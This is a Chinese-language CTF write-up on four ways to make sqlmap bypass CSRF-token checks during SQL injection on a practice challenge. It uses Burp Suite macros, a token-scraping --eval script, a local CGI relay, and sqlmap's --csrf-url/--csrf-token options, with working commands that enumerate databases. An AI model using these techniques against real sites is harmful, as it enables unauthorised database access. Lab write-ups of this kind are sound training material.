sqlmap CSRF-token 绕过姿势
CSRF(Cross-site request forgery 跨站请求伪造)主流防御方式是在后端生成表单的时候生成一串随机 token ,内置到表单里成为一个字段,同时,将此串 token 置入 session 中。每次表单提交到后端时都会检查这两个值是否一致,以此来判断此次表单提交是否是可信的。提交过一次之后,如果这个页面没有生成 CSRF token ,那么 token 将会被清空,如果有新的需求,那么 token 会被更新。
当我们在使用sqlmap自动化进行SQL注入时,有些场景下需要解决csrf-token验证问题,本文结合CTF_论剑场 web8 样例进行演示常见的4种绕过方式:结合BurpSuite宏绕过、eval参数绕过、通过Python CGIHTTPServer绕过以及通过--csrf-url/token参数绕过~
题目在update.php里age
更新处存在数字型SQL注入
,每次提交更新需要验证token
值,不符合则会触发CSRF token mismatch,这里的token为前端赋值~
BurpSuite Macros
我们可以利用BurpSuite Macros录制token,获取前一次HTTP请求响应的token值,作为后续请求的输入参数,从而绕过csrf-token验证。
Project Opition
->Session
->Macros
,点击Add
添加宏:
在Macro Recorder
中选择获取token的页面后确定。
添加规则生效的模块以及获取token界面的URL地址。
检测是否正确工作,使用sqlmap经过burpsuite进行注入,成功绕过csrf-token~
sqlmap -r C:\Users\light\Desktop\post.txt --proxy=http://127.0.0.1:8080 --dbs -v 3
eval参数
# sqlmap手册
--eval=EVALCODE Evaluate provided Python code before the request
# e.g. 每次请求时根据id参数值,做一次md5后作为hash参数的值。
"import hashlib;id2=hashlib.md5(id).hexdigest()"
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。
这里我们可以写一个脚本来获取页面csrf-token的值,通过sqlmap --eval参数将获取的token加入数据包后再发送请求进行测试,从而绕过csrf-token验证。
getToken脚本:
import urllib2
import re
def get_token():
# Load a page to generate a CSRF token
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=<insert PHPSESSID>'))
page = opener.open('http://<insert url>/index.php').read()
# Extract the token
match = re.search(r'<input type="hidden" name="token" value="(.+)">', page)
return match.group(1)
执行命令验证:
python2 sqlmap.py -r C:\Users\light\Desktop\post.txt --eval="import getToken; token = getToken.get_token()" -v 3 -p "age" --current-db
成功绕过,但受python脚本运行影响效率较低~
Python CGIHTTPServer
CGI(Common Gateway Interface)是服务器和应用脚本之间的一套接口标准。它的功能是让服务器程序运行脚本程序,将程序的输出作为response发送给客户。总体的效果,是允许服务器动态的生成回复内容,而不必局限于静态文件。
支持CGI的服务器程接收到客户的请求,根据请求中的URL,运行对应的脚本文件。服务器会将HTTP请求的信息和socket信息传递给脚本文件,并等待脚本的输出。脚本的输出封装成合法的HTTP回复,发送给客户。CGI可以充分发挥服务器的可编程性,让服务器变得“更聪明”。
现在我们通过CGIHTTPServer即可在本地tcp端口监听,动态修改数据包,无需配置和刻意提交token,即可使用sqlmap检测sql注入。
创建CGI脚本如下:
import cgi,cgitb
from mechanize import Browser
cgitb.enable() #允许发生错误时浏览器打印通知
url = "http://your-url/index.php"
def respond(string):
print("Content-Type: text/html")
print()
print(string)
quit()
form = cgi.FieldStorage()
u = form["username"].value
p = form["password"].value
b = Browser()
b.set_handle_robots(False)
b.open(url)
b.select_form(nr=0)
b.form["username"] = u
b.form["password"] = p
b.submit()
respond(b.title())
目录结构:
csrf-token # 自定义
└─cgi-bin # 设置为cgi-bin
└─token.py # 自定义脚本名称
Python3下执行命令:python -m http.server --cgi 8000
开启CGIHTTPServer.
浏览器访问:http://127.0.0.1:8000/cgi-bin/token.py?username=x3nd&password=x3nd.
打印了成功登陆后的页面标题,表明登陆成功,现在我们可以直接运行sqlmap尽情测试了。
sqlmap -r C:\Users\light\Desktop\post.txt --current-db
--csrf-url/token
在sqlmap usage里 Requests模块中描述:
# --csrf-token 用于保存反CSRF令牌的参数
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
# --csrf-url 用于提取反CSRF令牌的URL地址
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
sqlmap在注入过程中对于一些易识别的参数关键字如"token"、"nonce"进行了识别,会询问是否进行anti-CSRF操作,但默认获取csrf的地址为数据包中的地址,如本题目中的update.php
,而token
的获取在这里应该是index.php
界面,这时就需要我们分析并指定--csrf-token以及--csrf-url方便sqlmap进行anti-CSRF。
sqlmap -r C:\Users\light\Desktop\post.txt --csrf-url="http://123.xxx.xxx.85:10008/index.php" --csrf-token=token --dbs
sqlmap+BurpSuite Macros绕过csrf-token繁琐在csrf-token宏的会话录制处理,--eval参数配置脚本则需要我们自写获取token的python脚本且运行效率较慢,通过类似中间层作用的Python CGIHTTPServer绕过时,可以在使用sqlmap或burpsuite等工具测试时不需要进行额外的操作,sqlmap官方提供的anti-CSRF策略(--csrf-url/token)不失为一种方便操作的办法。